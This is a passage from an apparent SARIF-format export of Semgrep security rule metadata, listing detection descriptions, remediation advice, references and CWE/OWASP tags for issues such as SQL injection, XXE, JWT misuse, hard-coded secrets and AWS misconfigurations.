Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs)\n - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/](https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/)\n","text":"Ensure that actions that can result in privilege escalation are not used. These actions could potentially result in an attacker gaining full administrator access of an AWS account. Try not to use these actions."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs","id":"terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs","name":"terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected wildcard access granted in your ECR repository policy principal. This grants access to all users, including anonymous users (public access). Instead, limit principals, actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected wildcard access granted in your ECR repository policy principal. This grants access to all users, including anonymous users (public access). Instead, limit principals, actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository_policy](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository_policy)\n - [https://docs.aws.amazon.com/lambda/latest/operatorguide/wildcard-permissions-iam.html](https://docs.aws.amazon.com/lambda/latest/operatorguide/wildcard-permissions-iam.html)\n - [https://docs.aws.amazon.com/prescriptive-guidance/latest/patterns/monitor-amazon-ecr-repositories-for-wildcard-permissions-using-aws-cloudformation-and-aws-config.html](https://docs.aws.amazon.com/prescriptive-guidance/latest/patterns/monitor-amazon-ecr-repositories-for-wildcard-permissions-using-aws-cloudformation-and-aws-config.html)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected wildcard access granted in your ECR repository policy principal. This grants access to all users, including anonymous users (public access). Instead, limit principals, actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal","id":"terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal","name":"terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"help":{"markdown":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials)\n - [https://cwe.mitre.org/data/definitions/522.html](https://cwe.mitre.org/data/definitions/522.html)\n","text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"helpUri":"https://semgrep.dev/r/python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials","id":"python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials","name":"python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This gets data from session using user inputs. A malicious user may be able to retrieve information from your session that you didn't intend them to. Do not use user input as a session key."},"help":{"markdown":"## Remediation\nSession manipulation can occur when an application allows user-input in session keys. Since sessions are typically considered a source of truth (e.g. to check the logged-in user or to match CSRF tokens), allowing an attacker to manipulate the session may lead to unintended behavior.\n\n## References\n[Session Manipulation](https://brakemanscanner.org/docs/warning_types/session_manipulation/)\n\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation)\n - [https://brakemanscanner.org/docs/warning_types/session_manipulation/](https://brakemanscanner.org/docs/warning_types/session_manipulation/)\n","text":"## Remediation\nSession manipulation can occur when an application allows user-input in session keys. Since sessions are typically considered a source of truth (e.g. to check the logged-in user or to match CSRF tokens), allowing an attacker to manipulate the session may lead to unintended behavior.\n\n## References\n[Session Manipulation](https://brakemanscanner.org/docs/warning_types/session_manipulation/)\n"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation","id":"ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation","name":"ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Allowing an attacker to manipulate the session may lead to unintended behavior."}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Allowing user input to `send_file` allows a malicious user to potentially read arbitrary files from the server. Avoid accepting user input in `send_file` or normalize with `File.basename(...)`"},"help":{"markdown":"Allowing user input to `send_file` allows a malicious user to potentially read arbitrary files from the server. Avoid accepting user input in `send_file` or normalize with `File.basename(...)`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-send-file.check-send-file)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\n","text":"Allowing user input to `send_file` allows a malicious user to potentially read arbitrary files from the server. Avoid accepting user input in `send_file` or normalize with `File.basename(...)`"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-send-file.check-send-file","id":"ruby.rails.security.brakeman.check-send-file.check-send-file","name":"ruby.rails.security.brakeman.check-send-file.check-send-file","properties":{"precision":"very-high","tags":["CWE-73: External Control of File Name or Path","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-send-file.check-send-file"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string","id":"python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string","name":"python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of HTTP content in WebViews. This means that connections accessed in a WebView may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for insecure accessing of HTTP content in WebViews. This means that connections accessed in a WebView may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of HTTP content in WebViews. This means that connections accessed in a WebView may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads","id":"swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads","name":"swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a sequelize statement that is tainted by user-input. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"help":{"markdown":"Detected a sequelize statement that is tainted by user-input. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection)\n - [https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements](https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements)\n","text":"Detected a sequelize statement that is tainted by user-input. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection","id":"javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection","name":"javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"transferFrom() can steal allowance of other accounts"},"help":{"markdown":"transferFrom() can steal allowance of other accounts\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug)\n - [https://medium.com/immunefi/redacted-cartel-custom-approval-logic-bugfix-review-9b2d039ca2c5](https://medium.com/immunefi/redacted-cartel-custom-approval-logic-bugfix-review-9b2d039ca2c5)\n - [https://etherscan.io/address/0x186E55C0BebD2f69348d94C4A27556d93C5Bd36C](https://etherscan.io/address/0x186E55C0BebD2f69348d94C4A27556d93C5Bd36C)\n","text":"transferFrom() can steal allowance of other accounts"},"helpUri":"https://semgrep.dev/r/solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug","id":"solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug","name":"solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug","properties":{"precision":"very-high","tags":["CWE-688: Function Call With Incorrect Variable or Reference as Argument","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure AWS Redshift cluster is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure AWS Redshift cluster is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Ensure AWS Redshift cluster is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk","id":"terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk","name":"terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected subprocess function '$LOOP.subprocess_exec' with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected subprocess function '$LOOP.subprocess_exec' with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec)\n - [https://docs.python.org/3/library/asyncio-eventloop.html#asyncio.loop.subprocess_exec](https://docs.python.org/3/library/asyncio-eventloop.html#asyncio.loop.subprocess_exec)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected subprocess function '$LOOP.subprocess_exec' with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec","id":"python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec","name":"python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg","id":"javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg","name":"javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Set \"rejectUnauthorized\" to false is a convenient way to resolve certificate error. But this method is unsafe because it disables the server certificate verification, making the Node app open to MITM attack. \"rejectUnauthorized\" option must be alway set to True (default value). With self -signed certificate or custom CA, use \"ca\" option to define Root Certificate. This rule checks TLS configuration only for Postgresql, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"help":{"markdown":"Set \"rejectUnauthorized\" to false is a convenient way to resolve certificate error. But this method is unsafe because it disables the server certificate verification, making the Node app open to MITM attack. \"rejectUnauthorized\" option must be alway set to True (default value). With self -signed certificate or custom CA, use \"ca\" option to define Root Certificate. This rule checks TLS configuration only for Postgresql, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation)\n - [https://node-postgres.com/features/ssl](https://node-postgres.com/features/ssl)\n - [https://nodejs.org/api/tls.html#tls_class_tls_tlssocket](https://nodejs.org/api/tls.html#tls_class_tls_tlssocket)\n - [https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options](https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options)\n","text":"Set \"rejectUnauthorized\" to false is a convenient way to resolve certificate error. But this method is unsafe because it disables the server certificate verification, making the Node app open to MITM attack. \"rejectUnauthorized\" option must be alway set to True (default value). With self -signed certificate or custom CA, use \"ca\" option to define Root Certificate. This rule checks TLS configuration only for Postgresql, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation","id":"javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation","name":"javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","id":"kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","name":"kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"help":{"markdown":"Checks for attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request)\n - [https://commons.apache.org/proper/commons-net/javadocs/api-3.6/org/apache/commons/net/telnet/TelnetClient.html](https://commons.apache.org/proper/commons-net/javadocs/api-3.6/org/apache/commons/net/telnet/TelnetClient.html)\n","text":"Checks for attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request","id":"problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request","name":"problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use `yaml.safe_load` or `yaml.SafeLoader` instead."},"help":{"markdown":"Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use `yaml.safe_load` or `yaml.SafeLoader` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load)\n - 